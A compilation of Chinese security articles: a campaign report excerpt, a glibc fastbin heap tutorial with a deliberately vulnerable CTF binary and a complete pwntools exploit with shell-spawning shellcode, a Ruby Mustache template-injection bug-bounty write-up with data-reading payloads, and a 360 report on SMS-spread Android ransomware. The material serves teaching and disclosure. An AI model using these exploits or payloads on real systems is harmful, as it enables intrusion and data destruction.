我们之所以能了解关于`dmsSpy`的更多信息，是因为开发者在应用的web框架中遗留了debug模式，因此我们可以窥探服务器所使用的API。根据这些API，我们能了解到尚未发现的其他功能，包括屏幕截图、安装APK文件等。
图9. Web框架中泄露的API列表
我们认为这些攻击活动有所关联。`dmsSpy`的下载及命令控制服务器所使用的域名（`hkrevolution[.]club`）与“Poisoned
News”在水坑攻击活动中iOS组件所使用的域名相同（但涉及到不同的子域名）。因此，我们认为这个Android攻击活动背后操作者与Poisoned
News有关。
## 0x06 厂商回复
我们联系了本文提到的各种厂商，Tencent的回复如下：
> Trend Micro提供的这份报告表明，及时更新主机及移动设备操作系统非常重要。该报告中提到的漏洞影响iOS
> 12.1及12.2的Safari浏览器，Apple在新版iOS中修复了这些漏洞。
>
> 在我们的WeChat和QQ用户中，只有少部分用户仍在使用包含漏洞的iOS系统。我们已经提醒这些用户尽快升级到最新版iOS。
>
> Tencent非常重视数据安全，会继续努力，确保我们的产品和服务构建在能够确保用户数据安全的强大平台之上。
我们通过Trend Micro的Zero Day
Initiative（ZDI）平台通知了Apple。我们也联系了Telegram，但在本文发表时，我们尚未收到任何回复。 | 社区文章 |
作者： [Hcamael@知道创宇404实验室](http://0x48.pw)
发布时间：2017-07-25
fastbin相关的堆知识我一年前就学过了，但是都没写啥记录文档，又咸鱼了好长一段时间，要捡回来这块的知识，又重新开始学习了一遍，这篇博文中记录下我对fastbin的个人理解。
#### 基础知识研究
当使用malloc函数第一次向系统申请小于128kb的内存时，会通过sys_brk申请132kb的内存，这块内存就称为堆。
写个测试代码，对着测试代码进行分析(64位系统)：
# test.c
# gcc test.c -o test
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char *q;
char *p;
int x;
char input[3];
while(1) {
read(0,input,3);
x = atoi(input);
q = (char *)malloc(x);
read(0,input,3);
x = atoi(input);
p = (char *)malloc(x);
free(q);
free(p);
}
return 0;
}
然后使用gdb进行调试(使用peda和libheap插件，这两个都可以在github上搜到)，当第一次调用malloc(0x10)之后，查看内存信息：
gdb-peda$ vmmap
....
0x00602000 0x00623000 rw-p [heap]
....
可以看到堆的大小为132kb
先来说下基础概念：
fast
chunk表示正在使用的长度在`32-160`(32位系统是`16-80`)的堆块，而fastbin表示长度在`32-180`范围内的已经释放的堆块
我们可以看源码中的定义：
1570 /* The maximum fastbin request size we support */
1571 #define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
其中`SIZE_SZ`根据操作系统决定，32位系统为4, 64位系统为8
所以之后又定义了一个fastbin数组，用来存在fastbin：
1659 /* Fastbins */
1660 mfastbinptr fastbinsY[NFASTBINS];
其中`NFASTBINS`是宏定义，一般算出来是10，所以这个数组的长度为10，值为地址，储存fastbin的地址，比如fastbinsY[0]的值为最新释放出来的长度为32的fastbin的地址，fastbin是根据长度存放数组的，所以index=1存放的是48，2->64,
3->80, 4->96, 5->112, 6->128, 7->144, 8->160, 而fastbinsY[9]却用不上，我也不知道为啥.....
但是我却解决了这里的另一个坑，如果我们进行测试，就会发现我们最大malloc(120)，size=128的chunk才是fast
chunk，free后可以放到fastbinsY[6]中去，但是如果我们malloc(128)，free后却放到了unsortbin中去，也就是说index=7
or 8也是用不上的，这里我们看代码:
729 #ifndef DEFAULT_MXFAST
730 #define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
731 #endif
这里代码还定义了默认fast的大小为128(32位的为64)，而这个值我们是可以修改的，详情见：<http://man7.org/linux/man-pages/man3/mallopt.3.html>
M_MXFAST (since glibc 2.3)
Set the upper limit for memory allocation requests that are
satisfied using "fastbins". (The measurement unit for this
parameter is bytes.) Fastbins are storage areas that hold
deallocated blocks of memory of the same size without merging
adjacent free blocks. Subsequent reallocation of blocks of
the same size can be handled very quickly by allocating from
the fastbin, although memory fragmentation and the overall
memory footprint of the program can increase.
The default value for this parameter is 64*sizeof(size_t)/4
(i.e., 64 on 32-bit architectures). The range for this
parameter is 0 to 80*sizeof(size_t)/4. Setting M_MXFAST to 0
disables the use of fastbins.
所以默认情况下，fastbin数组的最后3个是不会存储数据的
了解了长度的问题后来说说chunk和bin的问题
一个在使用中的堆就是chunk，当我们free了这个chunk后，就会放入相应的bin中，也就是说当free了fast
chunk，将会把这个chunk存放到fastbin中，如何存放后面说。
我们再来看下面的内容：
gdb-peda$ heapls
[!] No gdb frame is currently selected.
ADDR SIZE STATUS
sbrk_base 0x602000
chunk 0x602000 0x20 (inuse)
chunk 0x602020 0x20fe0 (top)
sbrk_end 0x623000
gdb-peda$ x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe0
还有一个chunk名叫top chunk，这么说吧，在使用的chunk + bin + top chunk的大小就为132kb，看上面的fast
chunk的size=0x20加上top chunk的size=0x20fe0的和为0x21000，也就是sys_brk申请下来132kb的堆大小。
三者之间的逻辑是这样的(默认64位系统，之后都默认了)，首先调用malloc(0x10)，首先去判断fastbinsY[0]是否为空，如果存在一个地址，然后去检测一些有效性啥的，比如size是否为0x20(size
>> 3 << 3,
不算标志位)，如果检测出问题了就抛出异常，否则malloc的返回值就为该地址，然后fastbinsY[0]新的值为：`fastbinsY[0]=fastbinsY[0]->fd`
如果fastbinsY[0]=0的话，则去判断top chunk的大小是否够，如果够就从top chunk中取出，操作大概是这样的:
top->size -= 32
*(top+32) = top->size
top->size = 0x21
ret = top + 16
top = top + 32
return ret
然后就是free的操作了
PS: 此文只讲fastbin
p = malloc(16)
free(p) ->
p->fd = fastbinsY[0]
fastbinsY[0] = p
很简单，fastbin是一个单链表，从上面可以看出这是一个LIFO( _Last in, first out_ 后进先出)
当初我还想了半天为啥使用LIFO，为啥新free的chunk不直接插到屁股，因为我们只有一个fastbinsY[0]指针，如果直接插到屁股的话每次都要迭代到最后一个chunk然后把它的fd赋值为新的chunk的地址，而使用LIFO，我们只需要修改fastbinsY[0]指针的值和新的chunk的值，花费在fastbin链有很多的时候肯定是更少的
#### 结构
原理应该差不多了，然后讲讲结构
我们可以使用libheap来查看现在堆的一些信息：
gdb-peda$ heap
Arena(s) found:
arena @ 0x7ffff7dd1b20
gdb-peda$ fastbins
[!] No gdb frame is currently selected.
fastbins
[ fb 0 ] 0x7ffff7dd1b28 -> [ 0x0 ]
[ fb 1 ] 0x7ffff7dd1b30 -> [ 0x0 ]
[ fb 2 ] 0x7ffff7dd1b38 -> [ 0x0 ]
[ fb 3 ] 0x7ffff7dd1b40 -> [ 0x0 ]
[ fb 4 ] 0x7ffff7dd1b48 -> [ 0x0 ]
[ fb 5 ] 0x7ffff7dd1b50 -> [ 0x0 ]
[ fb 6 ] 0x7ffff7dd1b58 -> [ 0x0 ]
[ fb 7 ] 0x7ffff7dd1b60 -> [ 0x0 ]
[ fb 8 ] 0x7ffff7dd1b68 -> [ 0x0 ]
[ fb 9 ] 0x7ffff7dd1b70 -> [ 0x0 ]
首先是arena是什么，这个地址表示的是啥？这个我没找到相关的文章，我是自己解决的，首先我使用`vmmap`先查看这个地址属于哪:
gdb-peda$ vmmap
Start End Perm Name
......
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
......
然后发现这个地址是属于libc的，然后猜测应该是malloc相关的，再加上发现arena+8是fastbin，然后我在malloc.c中找到了一个结构体：
1651 struct malloc_state
1652 {
1653 /* Serialize access. */
1654 __libc_lock_define (, mutex);
1655
1656 /* Flags (formerly in max_fast). */
1657 int flags;
1658
1659 /* Fastbins */
1660 mfastbinptr fastbinsY[NFASTBINS];
1661
1662 /* Base of the topmost chunk -- not otherwise kept in a bin */
1663 mchunkptr top;
1664
1665 /* The remainder from the most recent split of a small request */
1666 mchunkptr last_remainder;
1667
1668 /* Normal bins packed as described above */
1669 mchunkptr bins[NBINS * 2 - 2];
1670
1671 /* Bitmap of bins */
1672 unsigned int binmap[BINMAPSIZE];
1673
1674 /* Linked list */
1675 struct malloc_state *next;
1676
1677 /* Linked list for free arenas. Access to this field is serialized
1678 by free_list_lock in arena.c. */
1679 struct malloc_state *next_free;
1680
1681 /* Number of threads attached to this arena. 0 if the arena is on
1682 the free list. Access to this field is serialized by
1683 free_list_lock in arena.c. */
1684 INTERNAL_SIZE_T attached_threads;
1685
1686 /* Memory allocated from the system in this arena. */
1687 INTERNAL_SIZE_T system_mem;
1688 INTERNAL_SIZE_T max_system_mem;
1689 };
然后发现：
gdb-peda$ x/16gx 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000602000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602040
`0x7ffff7dd1b78`的值为top chunk的地址然后就知道我应该是没找错了，这块区域就是各类bin的链首，其他的small, large,
unsort bin之类的都是存储在`mchunkptr bins[NBINS * 2 - 2];`之中，找到一篇文章中是有介绍的:
> * Bin 1 – Unsorted bin
> * Bin 2 to Bin 63 – Small bin
> * Bin 64 to Bin 126 – Large bin
>
这些以后研究，继续看fastbin
我们再来看chunk的结构，定义在malloc.c中：
1040 struct malloc_chunk {
1041
1042 INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
1043 INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
1044
1045 struct malloc_chunk* fd; /* double links -- used only if free. */
1046 struct malloc_chunk* bk;
1047
1048 /* Only used for large blocks: pointer to next larger size. */
1049 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
1050 struct malloc_chunk* bk_nextsize;
1051 };
......
1068 An allocated chunk looks like this:
1069
1070
1071 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1072 | Size of previous chunk, if unallocated (P clear) |
1073 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1074 | Size of chunk, in bytes |A|M|P|
1075 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1076 | User data starts here... .
1077 . .
1078 . (malloc_usable_size() bytes) .
1079 . |
1080 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1081 | (size of chunk, but used for application data) |
1082 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1083 | Size of next chunk, in bytes |A|0|1|
1084 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
......
1094 Free chunks are stored in circular doubly-linked lists, and look like this:
1095
1096 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1097 | Size of previous chunk, if unallocated (P clear) |
1098 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1099 `head:' | Size of chunk, in bytes |A|0|P|
1100 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1101 | Forward pointer to next chunk in list |
1102 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1103 | Back pointer to previous chunk in list |
1104 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1105 | Unused space (may be 0 bytes long) .
1106 . .
1107 . |
1108 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1109 `foot:' | Size of chunk, in bytes |
1110 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1111 | Size of next chunk, in bytes |A|0|0|
1112 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
上面这么代码和注释这么多是针对整体的chunk来说的，而我这篇文章中是针对fast chunk和fast bin进行研究.
对于fast
chunk其实就一个有用的字段，就是size，表示当前chunk的大小，然后size的低三bit位是标志位，为什么size的最后三bit能是标志位，因为在32位系统中，chunk永远是8的倍数，然后写代码的人秉持了不浪费任何一bit的原则，这最后3bit就被哪来做标志位了，不过在64位系统中，chunk是16的倍数，所以讲道理，在64位系统中size的低4bit都是能拿来做标志位的，但是我猜测，应该是64位系统和32位相比没有多啥需要标志位的功能，所以任然是使用低三bit做标志位。
然后在做Pwn的时候就标志位P有用吧，表示上一个chunk是否在使用中，不过在fast
chunk/bin中P标志位永远是1，free操作并不会修改fastbin的标志位，所以pre_size，前一个不在使用中的chunk的大小，因为P=1，所以在fastbin中这个字段可以说是没用的，其实还是有用的，后面说。
因为chunk总是16的倍数，所以当我们malloc(0-16)的时候，得到的chunk的size就是存放数据的16byte加上chunk
header，也就是8byte的pre_size，和8byte的size，所以malloc得到的最小的chunk大小为32byte。
但是当我测试的时候发现，我malloc(0-24)得到的chunk大小都为0x20,
当我malloc(25-40)得到的chunk大小为0x30，按我的理解，这是因为malloc的作者是告诉你可以把pre_size利用起来
当我malloc(24)的时候，得到size=0x20的chunk，其中有0x10的chunk
header，然后有0x10的地方存放data，然后仔细研究会发现，还有8byte的下一个chunk的pre_size可以存放数据，因为当前chunk肯定是使用中的，所以下一个chunk的标志位P=1，pre_size没用，所以可以被上一个chunk利用，当free的时候，再往下一个chunk的pre_size设置值，所以按作者的想法应该是这样能达到最大利用率。
然后就是fastbin了，其实fastbin和fast
chunk比，就是多了一个fd，在fastbin单链表中起作用，前面已经说了。因为是单链表，所以bk没用。
写了这么多，个人感觉应该是写清楚了，就留了一个坑吧——fastbinsY[9]有啥作用？
#### 在Pwn题中fastbin的利用
# mistake.c
# gcc mistake.c -z execstack -o mistake
#include <stdio.h>
#include <stdlib.h>
typedef struct chunk{
char buffer[0x10];
int len;
}chunk;
chunk* list[0x30];
int chunk_number;
void menu()
{
write(1,"1.create\n",9);
write(1,"2.read\n",7);
write(1,"3.free\n",7);
write(1,"4.bye\n",6);
write(1,"> ",2);
}
int transfer(char* buffer){
int i,result = 0;
for(i = 0;*(buffer+i) != 0;i++){
if(*(buffer+i) > '9'||*(buffer+i) < '0'){
return -1;
}
result = result*10 - '0' + *(buffer+i);
}
return result;
}
int read_int(){
int i,result;
char buffer[11];
for(i = 0;i < 10;i++){
read(0,buffer+i,1);
if(*(buffer+i) == '\n'){
break;
}
}
*(buffer+i) = 0;
if((result = transfer(buffer)) == -1){
write(1,"Invalid input.\n",15);
return -1;
}
return result;
}
void create_chunk()
{
if(chunk_number > 0x2f){
write(1,"no more chunk.\n",15);
return;
}
chunk_number++;
chunk* tmp = (chunk*)malloc(0x14);
write(1,"content: ",9);
tmp->len = read(0,tmp->buffer,0x10);
list[chunk_number] = tmp;
write(1,"create successfully.\n",21);
}
void read_chunk()
{
int id;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){
write(1,"Index out of range.\n",20);
return;
}
write(1,list[id]->buffer,list[id]->len);
}
void free_chunk(){
int id,i;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){
write(1,"Index out of range.\n",20);
return;
}
free(list[id]);
chunk_number--;
for(i = id;i < 0x2f;i++){
list[i] = list[i+1];
}
write(1,"delete successfully\n",20);
}
int main(void){
chunk_number = -1;
char input[2];
int selete;
while(1){
menu();
read(0,input,2);
input[1] = 0;
if(!(selete = atoi(input))){
write(1,"Invalid input.\n",15);
continue;
}
switch(selete){
case 1:
create_chunk();
break;
case 2:
read_chunk();
break;
case 3:
free_chunk();
break;
case 4:
write(1,"bye~\n",5);
return 0;
default:
write(1,"Invalid input\n",15);
}
}
}
题目是协会的一个学弟(@spine)出的
再给个Dockerfile吧：<https://github.com/Hcamael/docker_lib/tree/master/heap/mistake>
这题感觉对于新手挺有难度的，第一次做的时候花了很长时间，然后现在复习还花了很长时间捡起来
这题的漏洞点在一个很小的地方，在`create_chunk`，这里对输入进行检查，chunk_number的最大值为0x2f，看着是没问题，但是再判断完以后让chunk_number进行自增，也就是到0x30了，list[0x30]是不是溢出了？但是这里溢出看着危害好像不大，但是进过一系列细微的操作，可以造成double
free.
我想了很久要怎么总结pwn题，最后觉得还是一开始先点出漏洞点，然后贴出payload，再对payload进行解释，所以，payload如下：
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
shellcode1 = "jhH\xb8/bin///sP\xeb\x21"
shellcode2 = "H\x89\xe71\xf6j;X\x99\x0f\x05"
p = process('./mistake')
def double_free():
p.sendline('3')
p.sendline('47')
print p.recv()
p.sendline('3')
p.sendline('0')
print p.recv()
p.sendline('3')
p.sendline('46')
print p.recv()
def malloc_fd():
p.sendline('1')
p.sendline(p64(0x602080-8))
print p.recv()
p.sendline('1')
p.sendline(shellcode2)
print p.recv()
p.sendline('1')
p.sendline(shellcode2)
print p.recv()
def free_del():
for x in xrange(3):
p.sendline('3')
p.send(str(0xfffffffd))
print p.recv()
def create_chunk():
for x in xrange(0x31):
p.sendline('1')
print p.recv()
if x == 1:
p.sendline(p64(0)+p64(0x21))
else:
p.sendline(shellcode2)
print p.recv()
create_chunk()
print "===create over=========="
double_free()
print "====double free over===="
free_del()
print "=====del over=========="
malloc_fd()
# 控制chunk_number
p.sendline('1')
p.send(p64(0xffffffef))
print p.recv()
p.sendline('3')
p.send('4294967291')
print p.recv()
p.sendline('1')
p.sendline(shellcode1)
p.interactive()
之前程序里写了编译方式，这题我们是关闭NX的，所以就要想着怎么可以执行shellcode
再讲payload的时候，先提下，我们需要关注几个地方，一个是存放chunk地址的list，还有就是使用libheap的fastbins命令查看fastbin情况
payload的第一步是`create_chunk()`函数，创造出最大值0x31个chunk，chunk的赋值之后就知道其意义
这个时候list的情况：
list[0]
list[1]
list[2]
......
list[46]
list[47]
----overflow---- list[48]
然后就会产生2free了，看`double_free()`，首先是只有free(list[47])操作，我们list[47]的值称为list47，这个时候`fastbin
-> list47`
第二次是free(list[0])，我们把list[0]称为list0，这个时候
fastbin -> list0
list0.fd -> list47
但是除了free的操作，还会进行清除list[0]的移位操作：
list[0] = list[1]
list[1] = list[2]
......
list[45] = list[46]
list[46] = list[47]
然后我们再free(list[46])，这个时候list[46]的值为list47，而list47是被free过的，所以就造成了double free
这个时候
fastbin -> list47
list47.fd -> list0
list0.fd -> list47
然后，就涉及到了第二个bug，`int
chunk_number;`，chunk_number的值为int，所以在free_chunk函数中，id>chunk_number的比较可以让id为负数来bypass
看之后的payload，free了3次list[-3] (list[-3] == list[0xfffffffd])
.bss:0000000000602080 chunk_number dd
.bss:0000000000602084 align 20h
.bss:00000000006020A0 public list
.bss:00000000006020A0 ; void *list
通过ida可以看到list[-3]的地址为0x0602088，值为0(不知道为啥list和chunk_number之间有28byte没被使用的内存)
所以我们实际执行的是3次free(0)，而该操作并不会改变啥，所以实际的效果只有：
list[-3] = list[0]
list[-2] = list[1]
list[-1] = lsit[2]
......
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]
但是和刚执行完`create_chunk`后的初始结果相比，是这样的:
list[-3] = list[1]
list[-2] = list[2]
list[-1] = lsit[3]
......
list[43] = list[47]
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]
这个时候执行`malloc_fd`函数，我们回头再看看现在fastbin的情况：
fastbin -> list47
list47.fd -> list0
list0.fd -> list47
所以，第一次malloc，我们得到的是list47的地址，然后在list47.fd的位置写入了`p64(0x602080-8)`
第二次malloc，获取到的是list0的地址
第三次malloc，获取到又是list47的地址，这个时候，fastbin将会指向list47的fd：
fastbin -> 0x602078
为什么我们让fastbin指向这个地址？因为fastbin在malloc的时候会对size进行检查，也就是检查address+8的值是否为合法size
如果fastbin指向0x602078，则会检查0x602080是否是合法size，这个地址为存储的是chunk_number，我们可以仔细计算下，这个时候的chunk_number=0x2e(0b101110)，是一个合法的地址，所以这个时候我们可以成功malloc，返回地址0x602088，然后更新fastbin，fastbin指向的是0x602078的fd，也就是0x602088，这个地址是list[-3]，
根据上面分析的，这个值也就是初始的list[1]，所以在payload中，我们在这个位置写入的是`p64(0)+p64(0x21)`，为了之后能成功malloc所伪造的头。
这时的fastbin:
fastbin -> old_list1
然后我们向0x602088写入0x10byte的数据，我们在这个地方写入的是p64(0xffffffef)，也就是-17
之后我们再free(list[-5]) -> free(*0x602078) -> free(0)，
不会发生啥，但是free_chunk除了调用free函数外还有一个操作：
list[-5] = list[-4]
list[-4] = list[-3]
......
其中
list[-4] = 0x602080
list[-3] = 0x602088
其中0x602080为chunk_number的地址，所以经过这个操作后，chunk_number的地址被修改为了0x602088地址的值，在上面我们可以看到，值为0xffffffef
最后一步，首先是chunk_number自增，得到0xfffffff0
然后是malloc获得old_list1 + 16地址，写入shellcode
然后在源码中的操作是：
list[chunk_number] = tmp;
list的地址是0x6020a0
chunk_number的值为0xfffffff0
所以最后是向0x6020a0 + 8*0xfffffff0 = 0x602020地址写入old_list1 + 16(也就是shellcode地址的值)
在我编译出来的程序中
.got.plt:0000000000602020 off_602020 dq offset write
0x602020是write的got地址，所以修改了write的got表地址为shellcode地址
所以之后调用write，将会跳到shellcode地址，因为NX没开，所以堆栈可执行，可以成功执行shellcode，导致getshell
PS：payload中的shellcode2没啥用，只是我测试时候用的，这个相当于padding，看payload的时候别纠结这个，之前输入有意义的一个是list[1]构造chunk
header，一个就是最后的shellcode1了，其他的基本算是padding
#### 参考：
1. [malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html)
2. [Heap Exploitation](https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400?ref=http://4ngelboy.blogspot.com/)
3. [Understanding glibc malloc](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/)
4. [Syscalls used by malloc](https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/)
5. [Double Free浅析](http://static.hx99.net/static/drops/binary-7958.html)
* * * | 社区文章 |
# 前言
Mustache被称为无逻辑的Ruby模板；然而，当客户端提供的模板呈现在服务器端时，会带来一些意想不到的副作用。
这篇文章探讨了在Ruby
web应用程序中发现一种(有点有限的)RCE形式，导致终端用户能够控制正在使用的Mustache模板变量。利用此RCE能够读取和删除所有客户数据，并且可能扩展为用来执行shell命令。
提醒大家，这不是Mustache库或语法的漏洞，而是目标网站滥用库导致的RCE。
赏金计划目前不允许披露漏洞-鉴于bug的性质，可以使用一些Ruby示例来模拟漏洞。
# Mustache模板简介
在例子中，我们将使用[Ruby Mustache包](https://github.com/mustache/mustache "Ruby
Mustache包")，因为这是在目标上发现漏洞的位置。我们还将使用[Ruby
ActiveSupport包](https://rubygems.org/gems/activesupport/versions/5.0.0 "Ruby
ActiveSupport包")，因为它同样存在于目标环境中，并且允许分配Ruby对象。
Mustache模板语法是一个Web模板系统，在大多数流行的编程语言中都有实现。Mustache缺乏流量控制系统。
irb(main):001:0> Mustache.render("Hello {{name}}!", name: "Rhys")
=> "Hello Rhys!"
您还可以提供对象，执行方法链访问嵌套值：
irb(main):001:0> user = User.first
=> true
irb(main):002:0> Mustache.render("Hello {{user.name}}!", user: user)
=> "Hello Rhys!"
# 目标
在测试目标时，我遇到了一个集成，其中PagerDuty
webhook被定向到目标上的服务，PagerDuty发出的任何事件警报都使用Mustache模板转换为面向客户的通信。
我很早就发现，用于接收PagerDuty
webhooks的目标端点没有经过身份验证，因此我很快就能够找到一种方法来模拟PagerDuty服务。这使得我可以充当PagerDuty，但我通常不会使用由PagerDuty
webhook系统生成的任意内容。
# 发现
在研究Mustache语法时，我很快发现Mustache并没有限制标签的使用。
我尝试了不同的值和转义，但都是徒劳的。但功夫不负有心人，当我渲染context的时候：
irb(main):001:0> Mustache.render("{{context}}")
=> "#<Mustache::Context:0x00007ffa3b8ef638>"
恍然大悟，我们在这里看到的是一个已分配对象的Ruby字符串表示，这意味着我们可以访问一个Ruby变量;这意味着当遇到用户内容时，这个库可能不是很安全。
鉴于模板是在服务器端渲染的，并且考虑到我可以查看Ruby对象并对其进行操作，这里是不是就存在一个RCE。然而，我很快确定Mustache变量名只能包含字母、数字和点-这意味着我不能传递参数。
这意味着，我不能创建如下payload
context.class.ancestors.new.instance_method_send(:eval)
# 输入任意对象
然而，鉴于我能够提供用户输入(通过PagerDuty
webhook模拟)，并且考虑到我可以访问对象（如context示例所示），我决定尝试使用方法链接来处理对象本身的方法。
irb(main):001:0> Mustache.render("{{value.class}}", value: "Rhys")
=> "String"
然后我想起Active
Support`#constantize`方法。此方法是ActiveSupport提供的实用程序，它尝试使用字符串中指定的名称查找声明的常量。我认为这可能允许我与应用程序范围内的任意对象进行交互。为了测试这一点，我提供了一个类值Time.
irb(main):001:0> Mustache.render("{{value.constantize.new}}", value: "Time")
=> "2019-07-31 12:31:54 -0700"
完美！这就是我想要的结果！
# 利用ActiveRecord模型
对于PoC，我决定证明可以使用我们自己的恶意Mustache模板
a）读取所有客户数据，
以及
b）删除所有客户数据。要实现这一点，可以使用我们使用方法链接对任意Ruby类进行操作的能力来锁定应用程序的ActiveRecord模型。ActiveRecord是为Rails应用程序提供支持的ORM，并使用Ruby类提供对数据库的访问。
我首先创建了一个名为Incident的PagerDuty事件，并更新了我的模板，使其具有以下内容。
{{ incident.name.constantize.all.first }}
细分，这个方法链执行以下操作：
1.incident.name：从伪造的PagerDuty webhook获取值。本例中，值是Incident。
2.constanalize：尝试使用前面的方法中的名称查找声明的常量。在本例中，先前值是Incident-我们希望定位的ActiveRecord模型的名称。
3.all：对事件模型的所有记录执行SQL SELECT操作。
4.first：将结果限制为一条记录
然后我调用了我的假webhook，在面向公众的网站上刷新页面时，遇到了以下输出。
好极了！这就是RCE的一个真实模拟，还应该注意的是，典型的ActiveRecord方法(如#delete_all)也可用，这意味着我们可以使用此bug删除所有数据。
需要提供参数的方法(如#update)不可用-因为Mustache验证器不允许形成有效语法所需的字符。
# 结论
此bug的根本原因在于服务器端模板库在主Web应用程序实例上渲染用户提供的模板。安全的做法是，模板应该是a)在沙箱中渲染-例如AWS
Lambda，b)过滤不适当的变量，或c)使用Javascript库实现，不暴露Ruby点表示法。
自报告bug以来，该程序引入了模板标签的安全列表，并允许在通信模板中使用。我还没找到绕过方法
原文链接：https://rhys.io/post/rce-in-ruby-using-mustache-templates | 社区文章 |
# 勒索软件正成为制马人的新方向
|
##### 译文声明
本文是翻译文章，文章来源：360移动安全团队
译文仅供参考，具体内容表达以及含义原文为准。
2016年5月13日
目 录
引言.. 1
第一章木马分析.. 2
一、木马样本分析.. 2
二、短信链接分析.. 3
第二章制马人分析.. 7
一、制马人行为分析.. 7
二、制马人信息.. 13
第三章影响与趋势.. 15
一、关联样本.. 15
二、收益情况.. 15
三、裂变式传播.. 16
四、交叉式传播.. 17
附录一:参考资料.. 18
引言
4月份360
移动安全团队发布的《Android勒索软件研究报告》详细揭露了目前国内Android勒索软件黑色产业链情况。其中,报告中指出国内勒索软件传播方式主要借助QQ群、受害者、贴吧和网盘。另外,报告也指出国内勒索软件的制作门槛低,制作人群呈现年轻化等特点。
我们在最近的研究分析中发现,勒索软件的恶意行为出现了新的变化趋势,开始出现交叉式传播。勒索软件通过遍历手机通讯录,向联系人群发带有恶意下载链接的短信的方式进行恶意软件的传播。传播的对象不仅是恶意软件自身,还有其他家族木马,如:专门通过窃取手机支付验证码及其它用户手机重要隐私信息,以达到洗劫用户资金目的的FakeTaobao[[1](http://blogs.360.cn/360mobile/2014/09/16/analysis_of_faketaobao_family/)]木马家族。
据我们所知,借助短信方式传播的Android木马家族SpamSoldier[[2](http://blog.cloudmark.com/2012/12/16/android-trojan-used-to-create-simple-sms-spam-botnet/)]最早出现在2012年12月,在2014年8月全国范围内爆发的“XX神器”事件[[3](http://baike.so.com/doc/7486655-7756521.html)]中被媒体和网民广泛的关注。目前为止,FakeTaobao木马家族是使用这种裂变式传播方式最活跃的木马家族。
我们通过恶意软件中制马人留下的信息,回溯了其长达半年之久的制马活动后发现,勒索软件传播出现的裂变式传播和交叉传播新趋势,正是由于制马人制马类型不再单一,正在变得多元化,而勒索软件正在成为制马人制马的新方向。
第一章木马分析
一、木马样本分析
经过我们对最新捕获的勒索软件的分析,该木马的运行流程如下图所示:
图1.1 木马运行流程
木马具体执行步骤:
1.木马运行后,启动恶意服务binge。
2.服务启动后,向手机号151****3857发送安装报活短信,短信内容“报告斌哥,软件已安装,已授权”。
3.遍历手机通讯录向手机中所有联系人发送带有恶意下载链接的短信,短信内容“{联系人姓名},我帮别人做宣传。点击链接并下载并安装http://pre.im/****flaw,一定要下载安装哦,不下载安装对不起我哟!”。
4.构造并展现锁屏悬浮窗页面,不响应触摸事件。
5.隐藏自身图标。
我们在分析中发现,样本中涉及到敏感的字符串全部进行了DES加密处理。
图1.2 木马遍历联系人群发短信的代码片段
图1.3密文与明文对应关系
二、短信链接分析
短信中的链接指向http://pre.im/****flaw,Pre.im是一个免费的内测分发、应用托管工具网站,可以用于软件BUG测试和兼容性测试。制马人利用这种第三方网站提供的下载功能,上传恶意样本进行传播。
图1.4 Pre.im官网介绍
